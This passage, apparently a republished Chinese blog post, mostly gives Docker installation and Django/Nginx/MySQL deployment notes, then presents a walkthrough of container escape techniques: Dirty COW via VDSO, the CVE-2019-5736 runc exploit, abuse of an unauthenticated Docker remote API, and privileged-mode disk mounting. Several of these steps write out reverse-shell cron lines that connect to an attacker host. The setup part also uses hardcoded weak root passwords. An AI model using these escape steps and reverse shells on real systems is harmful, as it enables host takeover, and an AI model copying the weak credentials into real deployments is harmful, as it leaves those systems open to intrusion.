运维基础-Docker容器命令部署

news2024/11/25 22:49:50

在这里插入图片描述

Docker基础知识

  • 安装问题-有podman
    • Centos8使用yum install docker -y时,默认安装的是podman-docker软件
    • 安装docker
  • yum list installed | grep docker
  • yum -y remove xxxx
    • Docker安装配置
        • 下载安装docker
        • 启动docker,并设置开机启动
        • 下载所需镜像
    • centos镜像进行配置Django
        • SSH镜像制作
        • 新建Dockerfile、run.sh两个文件,并附于run.sh执行权限
        • run.sh写入内容
        • Dockerfile写入内容
    • 创建镜像
    • Django镜像制作
        • 新建django_centos文件夹并进入
        • run.sh写入内容
        • 创建镜像
    • Nginx镜像制作
        • 新建django_nginx文件夹并进入
    • 停止正在运行的 镜像进程
    • 搜索 镜像
    • compose 安装
      • docker常用命令
  • 漏洞复现-docker容器逃逸与研究
  • 前言
    • 三种方法
      • 利用dirty cow来进行docker逃逸
        • 利用前提
        • 前置知识
        • 利用dirty cow与VDSO来实现docker逃逸的过程
          • 判断是否为docker环境
          • 查看系统进程的cgroup信息
        • 下载脚本
        • 利用脚本
        • 利用结果
      • cve-2019-5736
        • 利用原理与条件
        • 漏洞触发过程
        • 下载利用脚本并修改
        • 编译脚本
        • 将编译好的main文件上传到docker中
        • 执行脚本并等待此docker再次被exec
      • docker配置不当
        • docket remote api未授权访问导致逃逸
          • 确定docker remote api是否可访问
        • 漏洞利用
          • 创建一个包,得到返回的exec_id的参数,数据包内容如下:
          • 得到exec_id参数后构造第二个exec_start数据包,内容如下:
          • 在docker容器内安装docker作为client
          • 查看宿主机的docker image信息
          • 启动一个容器并且将宿主机的根目录抓到容器的某个目录
          • 写一个计划任务反弹shell(或者写.ssh公钥都OK)
          • 在vps上使用nc命令等待反弹过来的shell
    • 利用特权模式逃逸
      • 漏洞原理
      • 漏洞利用
        • 查看磁盘文件
        • 将/dev/vda1也就是磁盘挂在到本地的任意文件下
        • 写入计划任务
        • 在vps上等待shell反连接
  • 防止docker逃逸的方法


1、启动所有容器

docker start $(docker ps -a | awk '{ print $1}' | tail -n +2)
2、关闭所有容器

docker stop $(docker ps -a | awk '{ print $1}' | tail -n +2)
3、删除所有容器

docker rm $(docker ps -a | awk '{ print $1}' | tail -n +2)
4、删除所有镜像(慎用)

docker rmi $(docker images | awk '{print $3}' |tail -n +2)

删除docker中的容器可以使用如下命令:

docker rm 容器id

安装问题-有podman

Centos8使用yum install docker -y时,默认安装的是podman-docker软件

1,卸载podman软件(可以使用rpm -qa|grep docker)
yum remove docker
2,下载docker-ce源
curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
3,安装docker-ce
yum install docker-ce -y


安装docker

 yum install docker -y

在这里插入图片描述

Start Docker 启动docker

systemctl start docker  #启动docker
systemctl enable docker #开机启动docker
systemctl status docker #查看docker状态

在这里插入图片描述

 # docker run hello-world

在这里插入图片描述

 # docker version

在这里插入图片描述

 查看执行过的docker进程:docker ps --all

在这里插入图片描述

  • 环境
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述

传送门
在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
安装最新版docker按这步操作就行,需要指定版本 在这里插入图片描述

 yum install docker-ce docker-ce-cli containerd.io
 yum install -y docker-ce docker-ce-cli containerd.io

安装指定版本的,首先列出可用的版本有哪些,然后选择并安装

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

 yum makecache  #生成仓库缓存

在这里插入图片描述

DaoCloud 加速器 是广受欢迎的 Docker 工具,解决了国内用户访问 Docker Hub 缓慢的问题。DaoCloud 加速器结合国内的 CDN 服务与协议层优化,成倍的提升了下载速度。
在这里插入图片描述在这里插入图片描述

在这里插入图片描述




2021/2/24

在这里插入图片描述

 

1. 下载docker-ce的repo

curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo

2. 安装依赖
yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm

3. 安装docker-ce
yum install docker-ce

4. 启动docker
systemctl start docker


在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 不通

在这里插入图片描述

备份旧的配置文件

mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
下载新的 CentOS-Base.repo 到 /etc/yum.repos.d/ 这里是改为阿里云的
wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo
或者
curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo

生成缓存
yum makecache


yum 包更新到最新
yum update

在这里插入图片描述
在这里插入图片描述

安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的
yum install -y yum-utils device-mapper-persistent-data lvm2

在这里插入图片描述

设置yum源
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

在这里插入图片描述

如果出现错误提醒
(尝试添加 ‘–skip-broken’ 来跳过无法安装的软件包 或 ‘–nobest’ 来不只使用最佳选择的软件包)
使用下面命令

yum install -y https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/edge/Packages/containerd.io-1.2.6-3.3.e

在这里插入图片描述

命令安装最新的 containerd.io、然后就可以顺利的安装Docker

 4、 安装docker,出现输入的界面都按 y

yum install -y docker-ce

在这里插入图片描述

查看docker版本,验证是否验证成功

docker -v

在这里插入图片描述

Docker 要求 CentOS 系统的内核版本高于 3.10,可以使用uname -r命令来查看自己的系统内核版本

卸载重装


 yum remove docker  docker-common docker-selinux docker-engine 
 

在这里插入图片描述
安装工具包yum-utils

 yum install -y yum-utils

选择国内的源,速度会快一些,此处选择阿里云的

 yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

在这里插入图片描述
查看 docker 版本

yum list docker-ce --showduplicates | sort -r

Loading mirror speeds from cached hostfile
Loaded plugins: fastestmirror
Installed Packages
docker-ce.x86_64            3:20.10.6-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.6-3.el7                    @docker-ce-stable
docker-ce.x86_64            3:20.10.5-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.4-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.3-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.2-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.1-3.el7                    docker-ce-stable
...



可以从上面中任选一个版本指定安装,将以下<VERSION_STRING>替换成对应版本即可

yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io


 
也可以通过不指定版本直接安装最新版

yum install docker-ce docker-ce-cli containerd.io


docker version

在这里插入图片描述

运行官方提供的验证镜像helloworld

在这里插入图片描述

环境介绍
CentOS7.4 基础服务器版本
Docker
Django 此为docker镜像
Nginx 此为docker镜像
MySQL 此为docker镜像

Docker安装配置

下载安装docker
 yum -y install docker vim

在这里插入图片描述

启动docker,并设置开机启动
systemctl start docker
systemctl enable docker

在这里插入图片描述

下载所需镜像
docker pull centos
docker pull nginx
docker pull mysql # 如果下载别的版本MySQL加写成,如:mysql:5.6

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

centos镜像进行配置Django

为方便以后使用这里分为SSH和Django两步来做

SSH镜像制作

新建ssh_image文件夹并进入

mkdir -p create_docker_image/ssh_image
cd create_docker_image/ssh_image

在这里插入图片描述

新建Dockerfile、run.sh两个文件,并附于run.sh执行权限
touch Dockerfile run.sh
chmod +x run.sh

在这里插入图片描述

run.sh写入内容
 vim run.sh

 #! /bin/bash
/usr/sbin/sshd -D

在这里插入图片描述在这里插入图片描述

Dockerfile写入内容
 vim Dockerfile

 # 设置继承镜像
FROM centos:latest

# 提供一些作者的信息
MAINTAINER wallie@910

# 开始运行命令
RUN yum install -y openssh-server
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_ecdsa_key
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_ed25519_key
RUN sed -i "s/#UsePrivilegeSeparation.*/UsePrivilegeSeparation no/g" /etc/ssh/sshd_config
RUN sed -i "s/UsePAM.*/UsePAM no/g" /etc/ssh/sshd_config 
RUN echo "123456" | passwd --stdin root
ADD run.sh /run.sh
EXPOSE 22

CMD ["/run.sh"]

  • 温馨提示 注意网络安全

      by:aming  2021/09/28
    

创建镜像

 docker build -t sshd:centos . 
 aming 温馨提示   注意后面 有个 什么小东东

在这里插入图片描述
在这里插入图片描述

	  aming提醒  sshd 配置 要正确   这一步 会报错

在这里插入图片描述

Django镜像制作

“mysite”的项目建议自己提前搭建好,直接拷贝过来用,但针对有路径需要做一些调整
新建django_centos文件夹并进入
cd /aming/.../
mkdir -p  django_centos
cd  django_centos

在这里插入图片描述

新建Dockerfile、run.sh两个文件,并附于run.sh执行权限

 touch Dockerfile run.sh
 chmod +x run.sh

在这里插入图片描述

run.sh写入内容
#! /bin/bash
# 同步数据库
python manage.py makemigrate --noinput
python manage.py migrate --noinput
# uwsgi启动django
uwsgi quwan_app/uwsgi.ini
/usr/sbin/sshd -D
tail -f /dev/null

 Dockerfile写入内容
 # 指定操作的镜像
FROM sshd:centos

# 指定操作的镜像
FROM sshd:centos

# 创建文件夹
RUN mkdir -p /data/wwwroot  # 项目存放路径 
RUN mkdir -p /data/static
RUN mkdir -p /data/media

# 拷贝文件, 
COPY quwan_app /data/wwwroot/quwan_app 
# “mysite” 为你自己的django项目可以自行更改
COPY run.sh /data/wwwroot/quwan_app/web_run.sh	

#这句指令相当与:cd /data/wwwroot/mysite
WORKDIR /data/wwwroot/quwan_app

# 安装软件
RUN yum install epel-release -y
RUN yum -y install gcc python36 net-tools
RUN yum -y install python36-devel mysql-devel
RUN ln /usr/bin/python3.6 /usr/bin/python -f
RUN cp /usr/bin/yum /usr/bin/yum.bak
RUN cp /usr/libexec/urlgrabber-ext-down /usr/libexec/urlgrabber-ext-down.bak
RUN cp /usr/bin/yum-config-manager /usr/bin/yum-config-manager.bak
RUN sed 's/python/python2/g' /usr/bin/yum.bak > /usr/bin/yum
RUN sed 's/python/python2/g' /usr/libexec/urlgrabber-ext-down.bak > /usr/libexec/urlgrabber-ext-down
RUN sed 's/python/python2/g' /usr/bin/yum-config-manager.bak > /usr/bin/yum-config-manager
RUN pip3 install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install django -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install django_crontab -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install pymysql -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install mysqlclient -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install uwsgi -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install cryptography -i https://mirrors.aliyun.com/pypi/simple/ 

EXPOSE 8080
RUN sh web_run.sh


# linux运行会报错修复
#RUN cp /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py.bak
#RUN cp /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py.bak
#RUN sed 's/query.decode/query.encode/g' /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py.bak > /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py
#RUN sed '35,36d' /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py.bak  > /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py


在这里插入图片描述
准备好项目 目录

创建镜像
 docker build -t web:django . 

在这里插入图片描述在这里插入图片描述

Nginx镜像制作

新建django_nginx文件夹并进入
 cd
mkdir -p create_docker_image/django_nginx
cd create_docker_image/django_nginx
 Dockerfile写入内容
 # 指定操作的镜像
FROM docker.io/nginx

# 作者
MAINTAINER zhoufan

# 系统部署
RUN mkdir -p /data/static


 创建镜像

 docker build -t web:nginx .

在这里插入图片描述

MySQL镜像制作
 touch Dockerfile setup.sh
chmod +x setup.sh

Dockerfile写入内容
在这里插入图片描述

	setup.sh写入内容
 #!/bin/bash

set -e

# 启动mysql
service mysql start

# 用来检测问题
echo '导入开始'
# 输入数据库project.sql
mysql < /root/project.sql
echo `service mysql status`

# 用来检测问题
echo '开始修改密码'
# 导入数据库privileges.sql
mysql < /root/privileges.sql
echo `service mysql status`
tail -f /dev/null

	privileges.sql数据库
 
 确认数据库文件开关是否有创建库文件和使用库文件的语句
就 是 project.sql ,前两句 
 CREATE DATABASE /*!32312 IF NOT EXISTS*/ `project` default character set utf8 collate utf8_general_ci;
USE `project`;

DROP TABLE IF EXISTS `abc`;

CREATE TABLE `abc` (
  `id` int(11) DEFAULT NULL,
  `name` varchar(25) DEFAULT NULL,
  `deptid` int(11) DEFAULT NULL,
  `salary` float DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

LOCK TABLES `abc` WRITE;

UNLOCK TABLES;

privileges.sql数据库

这个库文件是设置本地和远程root帐号和密码的,“test”为密码

 use mysql;
/*修改root密码*/
update user set password=password('test') where user='root' and host='localhost'; 
/*添加root远程登陆*/
grant all privileges on *.* to root@'%' identified by 'test';
flush privileges; 

三个主程序的镜像已经做完了,可以进行容器运行
	
容器的启动配置 把启动命令分别写到不同的sh文件中,方便修改
 cd
mkdir django_run
cd django_run

数据库容器启动


	配置启动文件
start_db.sh
#!/bin/bash
docker run --restart=always -d --name db  --privileged=true web:mysql 

--restart=always    这是保持容器自动启动
--name db       容器的别名改为db 
--privileged=true   获取mysql容器权限
-v          指定映射文件夹,这里指定的是库文件到本地
web:mysql      镜像名 

运行启动文件

sh start_db.sh
docker ps

指定容器为空,请查看最后的命令操作查看错误和删除容器

Django启动
因 为 d j a n g o 与 数 据 库 d b 有 链 接 , 所 以 数 据 库 运 行 成 功 后 , d j a n g o 才 能 运 行 , 不 然 会 报 错

vim start_web.sh

 #!/bin/bash

docker run --restart=always -d --name web --link db -p 8000:8000 -v /data/nginx/static/:/data/static web:django

--restart=always    这是保持容器自动启动
--name web     容器的别名改为web
--link db      指定db的关联,django中连接数据的IP地址可以直接写成“db”
-p 8000:8000     映射端口到主机,可不用加
-v 挂载
web:django     镜像名 

运行启动文件

sh start_web.sh
docker ps

Nginx启动
因 为 N g i n x 与 d j a n g o 有 链 接 , 所 以 d j a n g o 运 行 成 功 后 , N g i n x 才 能 运 行 , 不 然 会 报 错

vim start_nginx.sh
#!/bin/bash
docker run --restart=always -d --name nginx --privileged=true -p 80:80 -v /data/nginx/conf.d/web.conf:/etc/nginx/nginx.conf -v /data/nginx/logs:/var/log/nginx -v /data/nginx/statc:/data/static --link web web:nginx

--restart=always    这是保持容器自动启动
--name web     容器的别名改为nginx
--link db      指定django的关联,nginx中连接django的IP地址可以直接写成“web”
-p 80:80     映射端口到主机
web:django     镜像名 

运行启动文件

 sh start_nginx.sh
docker ps

docker ps 命令查看容器的运行信息

运行容器,并且可以通过 exec 命令进入 容器。
$ docker run -itd --name centos-test centos:centos7 在这里插入图片描述

docker exec -it  xxxname  /bin/bash 


docker images -a   查看所有镜像

docker rmi  移除镜像

docker rmi  REPOSITORY:TAG 
docker system prune --volumes   

停止正在运行的 镜像进程

docker ps
docker kill f03cd21e7f17

 # 杀死所有正在运行的容器.
alias dockerkill='docker kill $(docker ps -a -q)'




# 删除所有已经停止的容器.
alias dockercleanc='docker rm $(docker ps -a -q)'

# 删除所有未打标签的镜像.
alias dockercleani='docker rmi $(docker images -q -f dangling=true)'

# 删除所有已经停止的容器和未打标签的镜像.
alias dockerclean='dockercleanc || true && dockercleani'

使用image创建container并进入交互模式, login shell是/bin/bash

 docker run -i -t centos:7 /bin/bash
 接着终端就是容器中的centos的了,默认是root用户登录,接下来的操作都在容器中了
二、容器中安装passwd,openssl,openssh-server
 yum install passwd openssl openssh-server -y
 安装完成后
启动sshd:

# /usr/sbin/sshd -D
 这时报以下错误:
[root@ b3426410ff43 /]# /usr/sbin/sshd
Could not load host key: /etc/ssh/ssh_host_rsa_key
Could not load host key: /etc/ssh/ssh_host_ecdsa_key
Could not load host key: /etc/ssh/ssh_host_ed25519_key

执行以下命令解决:

[root@b3426410ff43 /]# ssh-keygen -q -t rsa -b 2048 -f /etc/ssh/ssh_host_rsa_key -N ''  
[root@b3426410ff43 /]# ssh-keygen -q -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key -N ''
[root@b3426410ff43 /]# ssh-keygen -t dsa -f /etc/ssh/ssh_host_ed25519_key -N '' 
 
然后,修改 /etc/ssh/sshd_config 配置信息:
UsePAM yes 改为 UsePAM no
UsePrivilegeSeparation sandbox 改为 UsePrivilegeSeparation no
可以用vi改,也可以用下面命令

[root@b3426410ff43 /]# sed -i "s/#UsePrivilegeSeparation.*/UsePrivilegeSeparation no/g" /etc/ssh/sshd_config
[root@b3426410ff43 /]# sed -i "s/UsePAM.*/UsePAM no/g" /etc/ssh/sshd_config 
 修改完后,重新启动sshd

[root@b3426410ff43 /]# /usr/sbin/sshd -D
 
然后修改root密码

passwd root
 
或者直接一句修改

echo “123456″ | passwd --stdin root
 
接着需要把修改后的镜像保存了,首先输入exit退出容器,再使用下面命令查看刚运行过的,
docker commit将修改后镜像保存到本地,参数是ID,名字

#docker ps -all
CONTAINER ID IMAGE    COMMAND    CREATED       STATUS          PORTS   NAMES
b3426410ff43 centos:7  "/bin/bash" 4 minutes ago    Exited (0) 4 seconds ago      centos7ssh
#docker commit b5926410fe60 myimage/centos7-ssh 
下次可以输入刚保存的名字启动修改过安装了ssh服务的镜像了。 

搜索 镜像

docker search mysql

compose 安装

sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.1/docker-compose-uname -s-uname -m -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

docker-compose -v

开源的应用容器引擎,基于 Go 语言并遵从 Apache2.0 协议开源

Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。

容器是完全使用沙箱机制,相互之间不会有任何接口(类似 iPhone 的 app),更重要的是容器性能开销极低。

镜像(Image):

Docker 镜像(Image)就相当于是一个 root 文件系统。

比如官方镜像 ubuntu:16.04 就包含了完整的一套 Ubuntu16.04 最小系统的 root 文件系统。

容器(Container):

镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的类和实例一样,

镜像是静态的定义,容器是镜像运行时的实体。

容器可以被创建、启动、停止、删除、暂停等。

仓库(Repository):

仓库可看成一个代码控制中心,用来保存镜像。

相关地址

官方hub仓库:hub.docker.com

菜鸟教程:https://www.runoob.com/docker/docker-tutorial.html

官方安装:https://docs.docker.com/engine/install/

win10系统 下载地址如下:

https://hub.docker.com/editions/community/docker-ce-desktop-windows/

如果您的系统不符合运行Docker for Windows的要求,则可以安装Docker Toolbox,

Dockbox Toolbox使用Oracle Virtual Box而不是Hyper-V。

Docker Toolbox和Docker Machine用户必读:

​ 适用于Windows的Docker需要运行Microsoft Hyper-V。

如果需要,Docker for Windows安装程序将为您启用Hyper-V,并重新启动计算机。

启用Hyper-V后,VirtualBox将不再工作,但任何VirtualBox VM映像将保留。

使用docker-machine(包括通常在Toolbox安装期间创建的默认虚拟机)创建的VirtualBox VM将不再启动。

这些虚拟机不能与Docker for Windows并行使用。

但是,您仍然可以使用docker-machine来管理远程VM。

必须启用虚拟化。通常,默认情况下启用虚拟化。(请注意,这与启用Hyper-V不同)

目前版本的Docker for Windows在64位Windows 10 Pro,企业和教育(1607周年纪念版,Build 14393或更高版本)上运行。

将来我们将支持更多版本的Windows 10。

使用Docker for Windows创建的容器和图像在安装的机器上的所有用户帐户之间共享。

这是因为所有Windows帐户都将使用相同的虚拟机来构建和运行容器。

将来,Docker for Windows将更好地隔离用户内容。

嵌套的虚拟化场景,例如在VMWare或Parallels实例上运行Docker for Windows,可能会起作用,但不能保证(即不正式支持)。

Docker for Windows安装包括:

安装提供Docker Engine,Docker CLI客户端,Docker Compose,Docker Machine和Kitematic。

安装Docker for Windows

在上面的查找例子中,我们可以分析出一些B+树的性质:

双击Docker for Windows Installer.exe以运行安装程序。

.按照安装向导接受许可证,授权安装程序,然后继续安装。

您将被要求在安装过程中使用系统密码授权Docker.app。

需要特权访问来安装网络组件,指向Docker应用程序的链接,以及管理Hyper-V虚拟机。

单击安装完成对话框上的Finish以启动Docker。

Docker无法自动启动。要点击开始,搜索Docker,在搜索结果中选择应用程序,然后单击它(或按返回)。

当状态栏中的鲸鱼保持稳定时,Docker可以正常运行,并可从任何终端窗口访问。

docker常用命令


■ 基础命令

# 查看docker基础信息

docker info

# 拉取镜像

docker pull :

# 移除容器

docker rm

# 移除镜像

docker rmi

# 启动、停止、重启容器

docker stop  

docker start  

docker restart

docker run -itd --name -P/-p: /bin/bash

# 查看docker容器

docker ps

# 打包镜像

docker tag // 

docker push /

# 登录

dockerdocker login

# 进入容器内部

docker exec    -it     xxx   /bin/bash

# 从仓库搜索镜像

docker search

■ 批量操作

# 杀死所有正在运行的容器

docker kill $(docker ps -a -q)

# 删除所有的容器

docker rm $(docker ps -a -q)

# 删除所有未打 dangling 标签的镜像

docker rmi $(docker images -q -f dangling=true)

# 删除所有镜像

docker rmi $(docker images -q) 

docker rmi $(docker images -q)

# 强制删除无法删除的镜像

docker rmi -f  

docker rmi -f $(docker images -q)

■ Dockerfile

Dockerfile是一个包含用于组合镜像的命令的文本文档。可以使用在命令行中调用任何命令。Docker通过读取文件中的指令自动生成镜像。

脚本结构:

基础镜像信息

维护者信息

镜像操作指令

容器启动时执行指令

’#’ 为 Dockerfile 中的注释

"&&" 符号连接命令,这样执行后,只会创建 1 层镜像

Docker以从上到下的顺序运行Dockerfile的指令。为了指定基本镜像,第一条指令必须是FROM。一个声明以#字符开头则被视为注释。可以在Docker文件中使用RUN,CMD,FROM,EXPOSE,ENV等指令。

■ docker-compose

Compose 是用于定义和运行多容器 Docker 应用程序的工具。通过 Compose,您可以使用 YML 文件来配置应用程序需要的所有服务。然后,使用一个命令就可以从 YML 文件配置中创建并启动所有服务。

Compose 使用的三个步骤:

使用 Dockerfile 定义应用程序的环境。

使用 docker-compose.yml 定义构成应用程序的服务,这样它们可以在隔离环境中一起运行。

最后,执行 docker-compose up 命令来启动并运行整个应用程序。 

docker-compose down

漏洞复现-docker容器逃逸与研究

前言

获取某个系统shell后发现其是docker
这时候我们就需要进行docker逃逸来拿到其真正宿主的权限。

三种方法

利用dirty cow来进行docker逃逸

利用前提

利用成功的前提是,宿主机的内核有dirty cow漏洞

前置知识

Linux中VDSO(virtual dvnamic shared object)小型共享库
将内核中的.so文件映射到到所有用户程序的内存地址空间,
.so是基于Linux下的动态链接,其功能和作用类似与windows下.dll文件, 可以理解成将内核中的函数映射到内存中,方便大家访问。

利用dirty cow与VDSO来实现docker逃逸的过程
dirty cow漏洞可以让我们获取只读内存的写的权限,
我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中,
然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段shellcode。
这段shellcode初始化的时候会检查是否是被root调用,
如果是则继续执行,如果不是,则接着执行clock_gettime函数,
接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,
然后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。(获取宿主机shell) 

在这里插入图片描述

判断是否为docker环境

docker环境中根目录下存在此文件

ls -alh /.dockerenv   

在这里插入图片描述

查看系统进程的cgroup信息

在Linux内核中,容器(container)这个名词有许多不同的意义,为避免混乱,被重命名为cgroup
对进程进程分组,比如Sessiongroup、process group等,
需要追踪一组进程的内存和IO使用情况,出现了cgroup,用来统一对进程进行分组,并在分组的基础上对进程进程监控和资源分配。

对于容器技术而言,它实现资源层面上的限制和隔离,
依赖于 Linux 内核所提供的 cgroup 和 namespace 技术

 cat /proc/1/cgroup

在这里插入图片描述

下载脚本

如果没有 git与curl
那么就用shell文件管理传上去 用unzip和tar 解压
在这里插入图片描述

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

如果docker 无make


cat /etc/centos-release
CentOS Linux release 7.9.2009 (Core)


nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [payload] Error 127


yum install nasm
[root@VM-24-12-centos docker]# make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread


会出现 bash: ./1: No such file or directory  链接库依赖问题
改为 
/dirtycow-vdso >make
nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [Makefile:16: payload] Error 127

/dirtycow-vdso >apk add nasm
(1/1) Installing nasm (2.13.03-r0)
Executing busybox-1.29.3-r10.trigger
OK: 154 MiB in 64 packages


在这里插入图片描述

利用脚本
chmod 777 0xdeadbeef
./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

在这里插入图片描述

利用结果

直接反弹宿主机的shell到127.0.0.1如图所示
在这里插入图片描述
在根目录内创建一个任意文件。
查看是否漏洞被利用成功。

cve-2019-5736

利用原理与条件

通过在docker容器内重写和运行主机系统的runc二进制文件达到逃逸的目的。
利用条件为:

runc版本<=1.0-rc6
Docker Version < 18.09.2

漏洞触发过程

修改利用脚本中的反弹shell命令,
使用go build来编译脚本,
将脚本上传到docker中,
等待宿主机执行exec进入当前docker容器
宿主机就会向我们的vps反弹root权限的shell。

下载利用脚本并修改
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

下图中的选中部分修改 后面的命令为反弹shell命令即可。
在这里插入图片描述

编译脚本
go build main.go

在这里插入图片描述

将编译好的main文件上传到docker中

可以先上传到github然后在docker到shell中使用git clone命令即可

执行脚本并等待此docker再次被exec
docker exec -it test /bin/bash

当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,
宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。

docker配置不当

docket remote api未授权访问导致逃逸

docker swarm是管理docker集群的工具。
主从管理、默认通过2375端口通信。
绑定了一个Docker Remote API的服务,
可以通过HTTP、Python、调用API来操作Docker。

确定docker remote api是否可访问

http://ip:2375/version

在这里插入图片描述

漏洞利用

访问http://ip:2375/containers/json看是否出现以下画面:
在这里插入图片描述

创建一个包,得到返回的exec_id的参数,数据包内容如下:
 POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”,/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}
 

在这里插入图片描述
注意其中的cmd字段,这个就是要执行的命令。

得到exec_id参数后构造第二个exec_start数据包,内容如下:
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
“Detach”: false,
“Tty”: false
}

在这里插入图片描述
成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。

在docker容器内安装docker作为client
    apt-get install docker.io
    yum -y install docker 
查看宿主机的docker image信息
   docker -H tcp://宿主机ip:2375 images
启动一个容器并且将宿主机的根目录抓到容器的某个目录
docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash

上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下

写一个计划任务反弹shell(或者写.ssh公钥都OK)
echo* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1>> /test/var/spool/cron/root
在vps上使用nc命令等待反弹过来的shell
nc -lvp 8888 

利用特权模式逃逸

漏洞原理

使用特权模式启动容器,可以获取大量设备文件访问权限。
因为当管理员执行docker run —privileged时,
Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

漏洞利用

查看磁盘文件
 fdisk -l

在这里插入图片描述

将/dev/vda1也就是磁盘挂在到本地的任意文件下
mkdir /nuoyan
mount /dev/vda1 /nuoyan

在这里插入图片描述
此时这个nuoyan文件夹就相当于对方主机的根目录,可以进行写文件操作。

写入计划任务
 echo* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1>> /nuoyan/var/spool/cron/root
在vps上等待shell反连接
nc -lvp 8888

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 >1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1169771.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

精品基于Python的汽车销售趋势分析-爬虫可视化大屏

《[含文档PPT源码等]精品基于Python的汽车销售趋势分析-爬虫》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功&#xff01; 软件开发环境及开发工具&#xff1a; 开发语言&#xff1a;python 使用框架&#xff1a;Django 前端技术&…

NiceGui:Python中的轻量级GUI框架初体验

